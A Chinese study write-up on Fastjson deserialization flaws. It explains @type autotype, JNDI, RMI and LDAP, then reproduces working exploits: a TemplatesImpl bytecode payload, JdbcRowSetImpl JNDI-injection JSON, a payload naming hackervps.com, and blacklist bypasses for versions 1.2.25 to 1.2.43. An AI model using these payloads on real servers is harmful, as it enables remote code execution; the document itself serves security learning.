FastJson反序列化漏洞学习

附言

文章借鉴:http://xz.aliyun.com/t/13386

https://www.cnblogs.com/Aurora-M/p/15683941.html

视频跟寻:B站白日梦组长

新建依赖导入fastjson

直接贴漏洞成因了,不搞其他的了

fastjson提供了autotype功能,允许用户在反序列化数据中通过“@type”指定反序列化的类型,Fastjson自定义的反序列化机制会调用指定类中的setter方法及部分getter方法,当组件开启了autotype功能并且反序列化不可信数据时,攻击者可以构造数据,使目标应用的代码执行流程进入特定类的特定setter或者getter方法中,若指定类的指定方法中有gadget,则会造成一些严重的安全问题。

先新建一个Person类当做json调用测试来用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
public class Person {
public int age;
public String name;
public Person() {
System.out.println("construct");
}

public int getAge(String name) {
System.out.println("getAge");
return age;
}

public void setAge(int age) {
System.out.println("setage");
this.age = age;
}

public String getName() {
System.out.println("getName");
return name;
}

public void setName(String name) {
System.out.println("setName");
this.name = name;

}


}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;

public class Fastjson {
public static void main(String[] args) {


// String s ="{\"parma1\":\"aaa\",\"parma2\":\"6666\"}";
String x = "{\"age\":19,\"username\":\"qingchuan\"}";
// String y ="{\"@type\":\"org.example.Person\",\"age\":19,\"username\":\"qingchuan\"}";

//序列化方式--指定类和不指定类
JSONObject json = JSON.parseObject(x);
System.out.println(json.getString("username"));

JSONObject user = JSON.parseObject(x);
System.out.println(user);
}
}

这里先是顶一个一个json字符串,利用JSON.parseObject();将其转换为java对象,后面打印出username

指定类会打印出json字符串里的对应的字段,不指定的全部打印

指定json转换的类,并转换其中的对象,传入了age和name并且指定调用了对应的方法,通过set方法传入值

image-20240411142545374

fastjson可以根据传入对象的不同解析不同的类(Person为对应的类的路径地址)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;

public class Fastjson {
public static void main(String[] args) {


// String s ="{\"parma1\":\"aaa\",\"parma2\":\"6666\"}";
// String x = "{\"age\":19,\"username\":\"qingchuan\"}";
String y ="{\"@type\":\"Person\",\"age\":19,\"name\":\"qingchuan\"}";

//序列化方式--指定类和不指定类
JSONObject json = JSON.parseObject(y);
System.out.println(json.getString("name"));

JSONObject user = JSON.parseObject(y);
System.out.println(user);
}
}

image-20240801091152034

由于底层调用的一些原因,fastjson会对传入的字符串当做一部分类来处理,导致反序列化问题

都说@type,那@type是个啥?

@typefastjson中的一个特殊注解,用于标识JSON字符串中的某个属性是一个Java对象的类型。具体来说,当fastjsonJSON字符串反序列化为Java对象时,如果JSON字符串中包含@type属性,fastjson会根据该属性的值来确定反序列化后的Java对象的类型。由于fastjson1.2.24之后默认禁用AutoType,因此这里我们通过ParserConfig.getGlobalInstance().addAccept("java.lang");来开启,否则会报错autoType is not suppor

1
2
3
4
5
6
7
8
9
10
11
12
13
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
import java.io.IOException;

public class Test {
public static void main(String[] args) throws IOException {
String json = "{\"@type\":\"java.lang.Runtime\",\"@type\":\"java.lang.Runtime\",\"@type\":\"java.lang.Runtime\"}";
ParserConfig.getGlobalInstance().addAccept("java.lang");
Runtime runtime = (Runtime) JSON.parseObject(json, Object.class);
runtime.exec("calc.exe");
}
}

中途可能会遇到addAccept的错误,我的是由于我自身设置的fastjson版本太低1.2.24改到1.2.27就好了

1
2
3
4
5
6
7
8
9
10
11
12
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.serializer.SerializerFeature;

public class Main {
public static void main(String[] args) {
Person user = new Person();
user.setAge(18);
user.setName("xiaoming");
String s1 = JSON.toJSONString(user, SerializerFeature.WriteClassName);
System.out.println(s1);
}
}

image-20240801094048516

在调用toJSONString方法的时候,参数里面多了一个SerializerFeature.WriteClassName方法。传入SerializerFeature.WriteClassName可以使得Fastjson支持自省,开启自省后序列化成JSON的数据就会多一个@type,这个是代表对象类型的JSON文本。FastJson的漏洞就是他的这一个功能去产生的,在对该JSON数据进行反序列化的时候,会去调用指定类中对于的get/set/is方法

使用JSON.toJSONString进行序列化时,可以设置是否将对象的类型也作为序列化的内容。当对字符串进行反序列化操作时,如果序列化字符串中有@type则会按照该类型进行反序列化操作,而如果没有该属性,则默认都返回JSONObject对象(一种字典类型数据存储)。当没有@type,但又想反序列化成指定的类对象时,需要通过JSON.parseObject()同时传入该类的class对象,才能反序列成指定的对象。
注意:反序列化的对象必须具有默认的无参构造器和get|set方法,反序列化的底层实现就是通过无参构造器和get .set方法进行的

漏洞点:由于序列化数据是从客户端发送的,如果将type属性修改成恶意的类型,再发送过去,而接收方进行正常的反序列化操作时,不就可以实现任意类的反序列化操作!!!

##JNDI是什么?

JNDIJava平台的一种API,它提供了访问各种命名和目录服务的统一方式。JNDI通常用于在JavaEE应用程序中查找和访问资源,如JDBC数据源、JMS连接工厂和队列等。

下面通过Tomcat配置来感受JNDI的作用

下载配置https://tomcat.apache.org/

image-20240803083318994

解压之后,可以给改一个简洁一点的名字,例如tomcat,然后把bin目录放到环境变量中,

image-20240803084117064然后再新建一个名为CATALINA_HOME的路径,值为tomcat的根目录

image-20240803083746123

双击tomcatbin目录下的startup.bat,然后访问http://localhost:8080/,就可以看到服务启动成功了:

这里需要时JDK17如果不是启动时会闪退image-20240803085704590

然后配置tomcat目录下的context.xmltomcat7及以前则是配置server.xml):

1
2
3
4
<Resource name="jdbc/security" auth="Container" type="javax.sql.DataSource"
maxTotal="100" maxIdle="30" maxWaitMillis="10000"
username="root" password="root" driverClassName="com.mysql.jdbc.Driver"
url="jdbc:mysql://localhost:3306/security"/>

image-20240803090241734

可以根据自己本地开启的mysql的实际情况(要与本地数据库名对应上)来改,我这里是使用phpstudy来安装开启mysql的:

image-20240803090315672

然后继续配置tomcatconf目录下的web.xml

1
2
3
4
5
6
<resource-ref>
<description>Test DB Connection</description>
<res-ref-name>jdbc/root</res-ref-name>
<res-type>javax.sql.DataSource</res-type>
<res-auth>Container</res-auth>
</resource-ref>

image-20240803090347200

去IDEA里面配置web

首先先新建一个项目,我命名为jndi_demo,接着配置tomcat

image-20240803090711462

这里我选择了8089端口,因为我8080端口之前被我占用了:

image-20240803090938120

接着

image-20240803091017261

image-20240803091058524

选中Tomcat导入进来

image-20240803091929129

image-20240803093143297这里记得添加完工件再改,目录在out….下

image-20240803092112156

之后应用确定,构建

image-20240803092152342

然后填写代码运行配置:image-20240803092214805

image-20240803102214340

然后跑如下代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
package org.example;

import jakarta.servlet.ServletException;
import jakarta.servlet.annotation.WebServlet;
import jakarta.servlet.http.HttpServlet;
import jakarta.servlet.http.HttpServletRequest;
import jakarta.servlet.http.HttpServletResponse;
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.sql.DataSource;
import java.io.IOException;
import java.sql.Connection;
import java.sql.ResultSet;
import java.sql.Statement;

@WebServlet("/test")
public class Test extends HttpServlet {

@Override
protected void service(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
try {
// 获取JNDI上下文
Context ctx = new InitialContext();

// 查找数据源
Context envContext = (Context) ctx.lookup("java:/comp/env");
DataSource ds = (DataSource) envContext.lookup("jdbc/security");

// 获取连接
Connection conn = ds.getConnection();

System.out.println("[+] success!");

// 执行查询
Statement stmt = conn.createStatement();
ResultSet rs = stmt.executeQuery("select * from security.emails;");

// 处理结果集
while (rs.next()) {
System.out.println(rs.getString("email_id"));
}

// 关闭连接
rs.close();
stmt.close();
conn.close();
} catch (Exception e) {
e.printStackTrace();
}
}
}

image-20240803102218001

RMI是什么?

RMI指的是远程方法调用(Remote Method Invocation),是Java平台提供的一种机制,可以实现在不同Java虚拟机之间进行方法调用。通过几个demo来看看

我们直接看下面使用了RMIdemo代码,包括一个服务器端和一个客户端。这个demo实现了一个简单的计算器程序,客户端通过RMI调用服务器端的方法进行加、减、乘、除四则运算。

首先是一个计算器接口:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
package org.example;

import java.rmi.Remote;
import java.rmi.RemoteException;

public interface Calculator extends Remote {
public int add(int a, int b) throws RemoteException;

public int subtract(int a, int b) throws RemoteException;

public int multiply(int a, int b) throws RemoteException;

public int divide(int a, int b) throws RemoteException;
}

然后是客户端代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
package org.example;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class Client {
private Client() {}

public static void main(String[] args) {
try {
// Get the registry
Registry registry = LocateRegistry.getRegistry("localhost", 1060);

// Lookup the remote object "Calculator"
Calculator calc = (Calculator) registry.lookup("Calculator");

// Call the remote method
int result = calc.add(5, 7);

// Print the result
System.out.println("Result: " + result);
} catch (Exception e) {
System.err.println("Client exception: " + e.toString());
e.printStackTrace();
}
}
}

接着是服务端代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
package org.example;

import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;

public class Server extends UnicastRemoteObject implements Calculator {
public Server() throws RemoteException {}

@Override
public int add(int x, int y) throws RemoteException {
return x + y;
}

@Override
public int subtract(int a, int b) throws RemoteException {
return 0;
}

@Override
public int multiply(int a, int b) throws RemoteException {
return 0;
}

@Override
public int divide(int a, int b) throws RemoteException {
return 0;
}

public static void main(String args[]) {
try {
Server obj = new Server();
LocateRegistry.createRegistry(1060);
Registry registry = LocateRegistry.getRegistry(1060);
registry.bind("Calculator", obj);
System.out.println("Server ready");
} catch (Exception e) {
System.err.println("Server exception: " + e.toString());
e.printStackTrace();
}
}
}

然后开始跑程序,不需要做任何配置。
先把服务端跑起来:image-20240801101718616

然后客户端这里就可以直接运行9+9的结果了:

image-20240801101639076

LDAP是什么?

LDAP是轻型目录访问协议的缩写,是一种用于访问和维护分层目录信息的协议。在Java安全中,LDAP通常用于集成应用程序与企业目录服务(例如Microsoft Active DirectoryOpenLDAP)的认证和授权功能。
使用JavaLDAP API,我们可以编写LDAP客户端来执行各种LDAP操作,如绑定(bind)到LDAP服务器、搜索目录、添加、修改和删除目录条目等。Java LDAP API支持使用简单绑定(simple bind)或Kerberos身份验证(Kerberos authentication)进行LDAP身份验证。
Java应用程序可以使用LDAP来实现单点登录和跨域身份验证,并与其他应用程序和服务共享身份验证信息。LDAP还可以用于管理用户、组和权限,以及存储和管理应用程序配置信息等。
总结:Java中的LDAP是一种使用Java编写LDAP客户端来集成企业目录服务的技术,可以提供安全的身份验证和授权功能,以及方便的用户和配置管理。

Fastjson漏洞中,攻击者可以通过构造特定的LDAP查询语句,来执行任意代码或获取敏感信息。例如,以下JSON字符串包含一个恶意构造的LDAP URL

1
{"@type":"java.net.URL","val":"ldap://hackervps.com/exp"}

Fastjson解析该JSON字符串时,会触发LDAP查询操作,查询hackervps.com上的LDAP服务,并执行名为“exp”的操作。这就是Fastjson漏洞的成因之一。

原理探究

序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
...
public static final String toJSONString(Object object, SerializerFeature... features) {
SerializeWriter out = new SerializeWriter();

try {
JSONSerializer serializer = new JSONSerializer(out);
for (com.alibaba.fastjson.serializer.SerializerFeature feature : features) {
serializer.config(feature, true);
}

serializer.write(object);

return out.toString();
}
}
...

当指定要将类的名字写入到序列化数据中时,就是将其写入到JSONSerializer的配置中,当执行写操作时,JSONSerializer会依据config,进行序列化操作。

image-20240401220446280

当手动指定类对象时,JSON会根据指定的Class进行加载和映射。

调试

首先调用一个只调用String的object,解析返回Object,在转换为Jsonobject

image-20240411150333034

到这,DefaultJSONParser,其中的feature会解析你传入的需求

image-20240411150607792

一些处理流程

image-20240411150751934

对单引号和双引号的处理

image-20240411151135168

一直跟到反序列化的部分

image-20240411151458033

image-20240411151513985

一个比较重要的函数JavaBeanInfo对传入的数据了解一遍,组成一个Javabininfoimage-20240411152903299

调了半天,调过了,又调了好多遍。。。难甭

看到反序列化的关键点吧

会先进行一些分晰,后进行字符串分割,进行字符串匹配,如果存在@type那么就会进行如图中的动态加载对象,再完成后续操作,这也就是为什么可以实现自动类匹配加载。

ps:调试代码太冗杂了,不确定在哪步入,步过,可以自己调试去看看他的执行过程

反序列化的利用

调试几遍大概可以清楚

使用 JSON.parse(jsonString) 和 JSON.parseObject(jsonString, Target.class),两者调用链一致,前者会在 jsonString 中解析字符串获取 @type 指定的类,后者则会直接使用参数中的class。

fastjson 在创建一个类实例时会通过反射调用类中符合条件的 getter/setter 方法,其中 getter 方法需满足条件:方法名长于 4、不是静态方法、以 get 开头且第4位是大写字母、方法不能有参数传入、继承自 Collection|Map|AtomicBoolean|AtomicInteger|AtomicLong、此属性没有 setter 方法;setter 方法需满足条件:方法名长于 4,以 set 开头且第4位是大写字母、非静态方法、返回类型为 void 或当前类、参数个数为 1 个。具体逻辑在 com.alibaba.fastjson.util.JavaBeanInfo.build() 中。

使用 JSON.parseObject(jsonString) 将会返回 JSONObject 对象,且类中的所有 getter 与setter 都被调用。

如果目标类中私有变量没有 setter 方法,但是在反序列化时仍想给这个变量赋值,则需要使用 Feature.SupportNonPublicField 参数。

fastjson 在为类属性寻找 get/set 方法时,调用函数 com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#smartMatch() 方法,会忽略 _|- 字符串,也就是说哪怕你的字段名叫 a_g_e,getter 方法为 getAge(),fastjson 也可以找得到,在 1.2.36 版本及后续版本还可以支持同时使用 _ 和 - 进行组合混淆。

fastjson 在反序列化时,如果 Field 类型为 byte[],将会调用com.alibaba.fastjson.parser.JSONScanner#bytesValue 进行 base64 解码,对应的,在序列化时也会进行 base64 编码。

利用链寻找

相比于平常的反序列化利用链,fastjson不需要实现Serialize

变量不需要不是transient,变有对应的setter或者是public

setter/getter不是readObject

相同点:

sink 反射、动态类加载

按两下shift查找类jdbcRowsetimpl

image-20240413121422265

找到.lookup,查看getDataSourceName()用法

image-20240413121732038

image-20240413121958333

想要控制String类型,我们想想他该怎么控制,前面条件需要setter或者是public

看到javabean类

image-20240413122115385

三快部分对应setter,public和满足条件的getter如map,get等,满足这些才是可控变量,

在BeanRowSet方法里有着SetDataSourceName方法,所以变量的值我们是可控的,我们接着往上找,找到connect()方法

image-20240413122647831

从connect找发现2个get set

image-20240413122750769

这里需要利用到set方法,为什么不用get呢,因为可以看一下get方法中的

image-20240413122928576

他的DatabaseMetaData返回值并不是刚刚满足条件的那几种,只是有一个普通的接口

image-20240413123036320

如要想要可以,需要调用,就是需要再调用toJson方法是前面不能出错,但这太难了,就不用了

这边接着看set方法

image-20240413135932975

这里直接就调用了connect,写一下利用链

image-20240413141634190

Yakit生成一个反连服务器image-20240413142150685

1
2
3
4
5
6
7
8
9
10
11
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;

public class FastjsonjdbcRowSetImpl {
public static void main(String[] args)throws Exception {
String s="{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"DataSourceName\":\"ldap://127.0.0.1:8085/\",\"AutoCommit\":false}";
JSON.parseObject(s);

}
}

填上地址(在此之前记得点击生成)

发现执行成功image-20240413142552782

本地类加载

在ClassLoader类里面

相关漏洞复现

fastjson<=1.2.24(CVE-2017-18349)

(学习TemplatesImpl链的相关知识)

1
2
3
4
5
6
7
8
9
10
11
12
import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;

public class Main {
public static void main(String[] args){
ParserConfig config =new ParserConfig();
String Text ="{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"_bytecodes\":[\"yv66vgAAADQAJgoABwAXCgAYABkIABoKABgAGwcAHAoABQAXBwAdAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACkV4Y2VwdGlvbnMHAB4BAAl0cmFuc2Zvcm0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWBwAfAQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYHACABAApTb3VyY2VGaWxlAQAJVGVzdC5qYXZhDAAIAAkHACEMACIAIwEABGNhbGMMACQAJQEABFRlc3QBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQATamF2YS9pby9JT0V4Y2VwdGlvbgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAHAAAAAAAEAAEACAAJAAIACgAAAC4AAgABAAAADiq3AAG4AAISA7YABFexAAAAAQALAAAADgADAAAACgAEAAsADQAMAAwAAAAEAAEADQABAA4ADwABAAoAAAAZAAAABAAAAAGxAAAAAQALAAAABgABAAAAEAABAA4AEAACAAoAAAAZAAAAAwAAAAGxAAAAAQALAAAABgABAAAAFQAMAAAABAABABEACQASABMAAgAKAAAAJQACAAIAAAAJuwAFWbcABkyxAAAAAQALAAAACgACAAAAGAAIABkADAAAAAQAAQAUAAEAFQAAAAIAFg==\"],'_name':'a.b','_tfactory':{ },\"_outputProperties\":{ }}";
Object obj = JSONObject.parseObject(Text,Object.class,config, Feature.SupportNonPublicField);
}
}

运行之后直接弹出计算器

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import java.io.*;
import java.util.Base64;

public class Base64Encode {
public static void main(String[] args) throws IOException {
File file = new File("src/main/java/Test.class");
byte[] bytes = new byte[(int) file.length()];

try (FileInputStream fis = new FileInputStream(file)) {
fis.read(bytes);
}

String base64String = Base64.getEncoder().encodeToString(bytes);
System.out.println(base64String);
}
}

上面的text里面的_bytecodes的内容是以下内容编译成字节码文件后(.class)再base64编码后的结果:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class Test extends AbstractTranslet {
public Test() throws IOException {
Runtime.getRuntime().exec("calc");
}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
}

@Override
public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) throws TransletException {

}

public static void main(String[] args) throws Exception {
Test t = new Test();
}
}

可以看到,我们通过以上代码直接定义类Test,并在类的构造方法中执行calc的命令;至于为什么要写上述代码的第14-21行,因为Test类是继承AbstractTranslet的,上述代码的两个transform方法都是实现AbstractTranslet接口的抽象方法,因此都是需要的;具体来说的话,第一个transform带有SerializationHandler参数,是为了把XML文档转换为另一种格式,第二个transform带有DTMAxisIterator参数,是为了对XML文档中的节点进行迭代。
总结:对于上述代码,应该这么理解:建立Test类,并让其继承AbstractTranslet类,然后通过Test t = new Test();来初始化,这样我就是假装要把xml文档转换为另一种格式,在此过程中会触发构造方法,而我在构造方法中的代码就是执行calc,所以会弹出计算器。

本来学习的时候并没有太在意为什么要去继承AbstractTranslet ,后面跟着在学习的文章中写道了这一点,现在来学校了解一下

为什么要继承AbstractTranslet

但是在实战场景中,JavaClassLoader类提供了defineClass()方法,可以把字节数组转换成Java类的示例,但是这里面的方法的作用域是被Protected修饰的,也就是说这个方法只能在ClassLoader类中访问,不能被其他包中的类访问:

image-20240801132506804

但是,在TransletClassLoader类中,defineClass调用了ClassLoader里面的defineClass方法:

image-20240801132222377

然后追踪TransletClassLoader,发现是defineTransletClasses

image-20240801132631709

再往上,发现是getTransletInstanceimage-20240801132728663

到此为止,要么是Private修饰要么就是Protected修饰,再往上继续追踪,发现是newTransformer,可以看到此时已经是public了:

image-20240801132756222

因此利用链是

TemplatesImpl#newTransformer() -> TemplatesImpl#getTransletInstance() -> TemplatesImpl#defineTransletClasses() -> TransletClassLoader#defineClass()

1
2
3
4
5
6
7
{
"@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
"_bytecodes": ["yv66vgAAADQA...CJAAk="],
"_name": "q1ngchuan",
"_tfactory": {},
"_outputProperties": {},
}

为什么会这样构造呢

image-20240801150020242

可以看到,逻辑是这样的:先判断_bytecodes是否为空,如果不为空,则执行后续的代码;后续的代码中,会调用到自定义的ClassLoader去加载_bytecodes中的byte[],并对类的父类进行判断,如果是ABSTRACT_TRANSLET也就是com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet,那么就把类成员属性的_transletIndex设置成当前循环中的标记位,第一次调用的话,就是class[0]
可以看到,这里的_bytecodes_outputProperties都是类成员变量。同时,_outputProperties有自己的getter方法,也就是getOutputProperties

fastjson 1.2.25 反序列化漏洞

学习JdbcRowSetImpl链的相关知识)

自从爆出漏洞之后,1.2.25增添了黑白名单机制

变成1.2.25版以后再去执行前面的,发现无法执行

image-20240801151536223

去查看配置发现加了黑名单

image-20240801162539825

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
bsh
com.mchange
com.sun.
java.lang.Thread
java.net.Socket
java.rmi
javax.xml
org.apache.bcel
org.apache.commons.beanutils
org.apache.commons.collections.Transformer
org.apache.commons.collections.functors
org.apache.commons.collections4.comparators
org.apache.commons.fileupload
org.apache.myfaces.context.servlet
org.apache.tomcat
org.apache.wicket.util
org.codehaus.groovy.runtime
org.hibernate
org.jboss
org.mozilla.javascript
org.python.core
org.springframework

接下来我们定位到checkAutoType()方法,看一下它的逻辑:如果开启了autoType,那么就先判断类名在不在白名单中,如果在就用TypeUtils.loadClass加载,如果不在就去匹配黑名单

image-20240801165708352

如果没开启autoType,则先匹配黑名单,然后再白名单匹配和加载;

如果要反序列化的类和黑白名单都未匹配时,只有开启了autoType或者expectClass不为空也就是指定了Class对象时才会调用TypeUtils.loadClass加载,否则fastjson会默认禁止加载该类。

我们来仔细看下上图红框中的代码,代码的含义是:如果类名的字符串以[开头,则说明该类是一个数组类型,需要递归调用loadClass方法来加载数组元素类型对应的Class对象,然后使用Array.newIntrance方法来创建一个空数组对象,最后返回该数组对象的Class对象;如果类名的字符串以L开头并以;结尾,则说明该类是一个普通的Java类,需要把开头的L和结尾的;给去掉,然后递归调用loadClass

1
2
RMI利用的JDK版本 ≤ JDK 6u132、7u122、8u113
LADP利用JDK版本 ≤ JDK 6u211 、7u201、8u191

image-20240801174127104

第一种poc(1.2.25-1.2.47通杀!!!)

然后我们先来看第一种poc

1
{"a":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1/exp","autoCommit":true}}

我们会发现,加上{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"}就会绕过原本的autoType,由此我们可以猜测,针对未开启autoType的情况,fastjson的源代码中应该是有相关方法去针对处理的,并且利用我们的这种方式,正好可以对应上。
于是我们直接去查看源代码,翻到checkAutoType的地方,可以看到,如果没开启autoType,就会有以下两种加载方式:

image-20240801175847130

第一种是从mappings里面获取,也就是上图中的第727行代码,点进去之后可以看到:

image-20240801180104882

如果获取不到就采用第二种方法,也就是第728-730行代码,从deserializers中获取。
deserializers是什么呢?可以看fastjson-1.2.25.jar!\com\alibaba\fastjson\parser\ParserConfig.class的第172-241行,里面是内置的一些类和对应的反序列化器。
但是deserializersprivate类型的,我们搜索deserializers.put,发现当前类里面有一个publicputDeserializer方法,可以向deserializers中添加新数据:

image-20240801181001492

于是我们全局搜索该方法,发现就一个地方调用了,而且没办法寻找利用链:image-20240801181758805

所以继续看第一种方法,从mappings获取的。可以看到,mappings这里也是privateimage-20240801181823422

搜索mappings.put,可以看到在TypeUtils.loadClass中有调用到:
image-20240801182046991

于是我们全局搜索,可以看到有如下5处调用:

image-20240801183437402

我们直接看Misccodec.java

image-20240801185040493

结合MiscCodec中一堆的if语句,可以判断,一些简单的类都被放在这里了。

image-20240801190441913

然后跟进strVal,看看是哪儿来的:image-20240801190515975

继续跟进这个objVal

image-20240801190534121

首先,代码中的if语句判断当前解析器的状态是否为TypeNameRedirect,如果是,则进入if语句块中进行进一步的解析。在if语句块中,首先将解析器的状态设置为NONE,然后使用parser.accept(JSONToken.COMMA)方法接受一个逗号Token,以便后续的解析器对其进行处理。接下来,使用lexer.token()方法判断下一个Token的类型,如果是一个字符串,则进入if语句块中进行进一步的判断。在if语句块中,使用lexer.stringVal()方法获取当前Token的字符串值,并与val进行比较。如果不相等,则抛出一个JSON异常;如果相等,则使用lexer.nextToken()方法将lexer的指针指向下一个Token,然后使用parser.accept(JSONToken.COLON)方法接受一个冒号Token,以便后续的解析器对其进行处理。最后,使用parser.parse()方法解析当前Token,并将解析结果赋值给objVal。如果当前Token不是一个对象的结束符(右花括号),则使用parser.accept(JSONToken.RBRACE)方法接受一个右花括号Token,以便后续的解析器对其进行处理。如果当前解析器的状态不是TypeNameRedirect,则直接使用parser.parse()方法解析当前Token,并将解析结果赋值给objVal
根据之前分析的,objVal会传给strVal,然后TypeUtils.loadClass在执行的过程中,会把strVal放到mappings缓存中。

image-20240801190643871

后面直接返回clazz

第二种POC

第二种poc的绕过手法在上面的“黑白名单机制介绍”中已经写的很清楚了,直接参考即可。
需要注意的是,由于代码是循环去掉L;的,所以我们不一定只在头尾各加一个L;

​ JdbcRowSetImpl 结合JNDI注入

1
2
3
4
5
{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://127.0.0.1:9999/Exec",
"autoCommit":true
}

关于JdbcRowSetImpl链利用的分析

从上面我们学习了绕过黑白名单的学习,接下来看JdbcRowSetImpl利用链的原理。
根据FastJson反序列化漏洞原理,FastJsonJSON字符串反序列化到指定的Java类时,会调用目标类的gettersetter等方法。JdbcRowSetImpl类的setAutoCommit()会调用connect()方法,connect()函数如下:

image-20240801191324519

image-20240801191345793

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
private Connection connect() throws SQLException {
if (this.conn != null) {
return this.conn;
} else if (this.getDataSourceName() != null) {
try {
InitialContext var1 = new InitialContext();
DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());
return this.getUsername() != null && !this.getUsername().equals("") ? var2.getConnection(this.getUsername(), this.getPassword()) : var2.getConnection();
} catch (NamingException var3) {
throw new SQLException(this.resBundle.handleGetObject("jdbcrowsetimpl.connect").toString());
}
} else {
return this.getUrl() != null ? DriverManager.getConnection(this.getUrl(), this.getUsername(), this.getPassword()) : null;
}
}
1
2
InitialContext var1 = new InitialContext();
DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());

可以直接拿出来利用

1
2
3
4
5
6
7
8
9
10
package org.example;
import com.sun.rowset.JdbcRowSetImpl;

public class Main {
public static void main(String[] args) throws Exception {
JdbcRowSetImpl JdbcRowSetImpl_inc = new JdbcRowSetImpl();
JdbcRowSetImpl_inc.setDataSourceName("rmi://127.0.0.1:1099/ift2ty");
JdbcRowSetImpl_inc.setAutoCommit(true);
}
}

fastjson 1.2.42 反序列化漏洞

首先更换依赖为1.2.42

直接翻到ParserConfig这里:

image-20240803182840664

可以看到,fastjson把原来的明文黑名单转换为Hash黑名单,但是并没什么用,目前已经被爆出来了大部分,具体可以参考:

https://github.com/LeadroyaL/fastjson-blacklist

然后checkAutoType这里进行判断,仅仅是把原来的L;换成了hash的形式:image-20240803183101826

所以直接双写L;即可:

1
2
3
4
5
{
"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;",
"dataSourceName":"ldap://127.0.0.1:9999/Exec",
"autoCommit":true
}

fastjson 1.2.43 反序列化漏洞

修改到1.2.43

依旧是查看ParserConfig全局搜索checkAutoType

image-20240803183640413

意思就是说如果出现连续的两个L,就报错。那么问题来了,你也没有对[进行限制啊,直接绕:

1
2
3
4
5
{
"@type":"[com.sun.rowset.JdbcRowSetImpl"[{,
"dataSourceName":"ldap://127.0.0.1:9999/Exec",
"autoCommit":true
}

fastjson 1.2.44 mappings缓存导致反序列化漏洞

修改之前的pom.xml里面的版本为1.2.44。增加了规则,出现[字符直接抛出异常判断失败
